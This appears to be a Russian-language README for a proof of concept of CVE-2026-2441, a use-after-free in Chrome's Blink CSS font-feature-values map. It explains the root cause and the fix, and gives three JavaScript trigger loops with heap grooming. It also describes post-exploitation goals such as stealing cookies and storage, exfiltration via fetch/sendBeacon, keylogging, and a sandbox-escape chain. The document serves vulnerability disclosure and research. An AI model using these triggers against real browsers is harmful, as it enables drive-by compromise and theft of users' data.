
Доказательство концепции для CVE-2026-2441, use-after-free в CSS Chrome, приводящий к RCE в изолированном рендерере. Включает три метода триггера, подготовку кучи и подробный анализ.
CVSS 8.8 (High) | Активно эксплуатируется в дикой природе | RCE в рендерере (в песочнице)
Уязвимость use-after-free в CSS-движке Blink браузера Google Chrome, позволяющая удалённому злоумышленнику выполнить произвольный код внутри песочницы браузера с помощью специально созданной HTML-страницы.
| Поле | Значение |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (High) |
| Тип | Use-After-Free (CWE-416) |
| Компонент | Blink CSS — CSSFontFeatureValuesMap |
| Исходный файл | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Исправляющий коммит | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Автор отчёта | Shaheen Fazim (2026-02-11) |
| Дата патча | 2026-02-13 |
| В дикой природе | Да — Google подтвердил активную эксплуатацию |
| Платформа | Уязвимые | Исправленные |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Браузеры на базе Chromium (Edge, Brave, Opera, Vivaldi) | См. рекомендации вендора | Различается |
FontFeatureValuesMapIterationSource хранил сырой указатель (const FontFeatureAliases* aliases_) на внутренний HashMap FontFeatureAliases. Когда карта изменяется во время итерации через set() или delete(), HashMap выполняет рехеширование — выделяя новое хранилище и освобождая старое. Сырой указатель становится висячим, и следующий вызов FetchNextItem() читает из освобождённой памяти.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = сырой указатель на внутренний HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ читает iterator_->key (через aliases_)
Если map.set() / map.delete() вызывается между итерациями:
→ HashMap рехешируется (новое выделение, старое освобождено)
→ aliases_ → висячий указатель
→ iterator_ → недействителен
→ Следующий FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // сырой указатель → висячий после рехеширования
+ const FontFeatureAliases aliases_; // глубокая копия → не подвержена рехешированию
Исправление заменяет сырой указатель на глубокую копию HashMap. Даже если исходная карта рехешируется, итератор работает с собственной копией, что предотвращает висячий указатель.
poc.html в уязвимой версии Chrome (< 145.0.7632.75)| Версия Chrome | Ожидаемое поведение |
|---|---|
| < 145.0.7632.75 (без патча) | Краш рендерера — STATUS_ACCESS_VIOLATION (Windows) или SIGSEGV (Linux/macOS). Chrome показывает ошибку «Не удалось открыть эту страницу». |
| >= 145.0.7632.75 (с патчем) | Без краша — PoC выполняется до конца, все записи читаются нормально. |
При открытии в уязвимой версии Chrome процесс рендерера падает с STATUS_ACCESS_VIOLATION:
Не удалось открыть эту страницу
Код ошибки: STATUS_ACCESS_VIOLATION
Это подтверждает срабатывание UAF — висячий указатель обращается к освобождённой/неотображённой памяти, что приводит к завершению процесса рендерера.
PoC вызывает UAF тремя независимыми способами:
entries() + цикл мутацийconst iterator = map.entries();
while (step < 20) {
iterator.next(); // чтение через (теперь висячий) указатель
map.delete(key); // запуск рехеширования
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // принудительное перераспределение
}
for...of + параллельная мутацияfor (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + пересчёт макетаfunction rafTrigger() {
document.body.offsetWidth; // принудительный пересчёт макета
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
Каждый способ также включает подготовку кучи — выделение 50 правил @font-feature-values одинакового размера, чтобы сделать раскладку кучи предсказуемой для потенциальной эксплуатации.
document.cookie, localStorage, sessionStorage, значений полей формfetch() / WebSocket / sendBeacon()addEventListener('keydown')При комбинировании с отдельной уязвимостью побега из песочницы:
RCE в рендерере (CVE-2026-2441)
→ Эксплойт Mojo IPC → RCE в процессе браузера
→ Эксплойт ядра → Полная компрометация системы
→ Установка вредоносного ПО / программ-вымогателей / шпионского ПО
→ Доступ к файловой системе, горизонтальное перемещение, закрепление
Реальные эксплойт-цепочки с использованием аналогичных UAF в браузерах:
Эта уязвимость эксплуатируется через drive-by загрузку — не требуется никакого взаимодействия с пользователем, кроме посещения вредоносной страницы:
chrome://flags/#site-isolation-trial-opt-out)| Дата | Событие |
|---|---|
| 2026-02-11 | Уязвимость сообщена Shaheen Fazim |
| 2026-02-13 | Google выпускает Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google подтверждает эксплуатацию в дикой природе |
| 2026-02-16 | Vivaldi и Opera выпускают исправления |
Если вы считаете это исследование полезным, вы можете угостить меня кофе:
Этот proof of concept предоставлен только для образовательных целей и авторизованных исследований безопасности. Использование этого PoC против систем без явного разрешения незаконно и неэтично. Автор не несёт ответственности за любое неправомерное использование.
MIT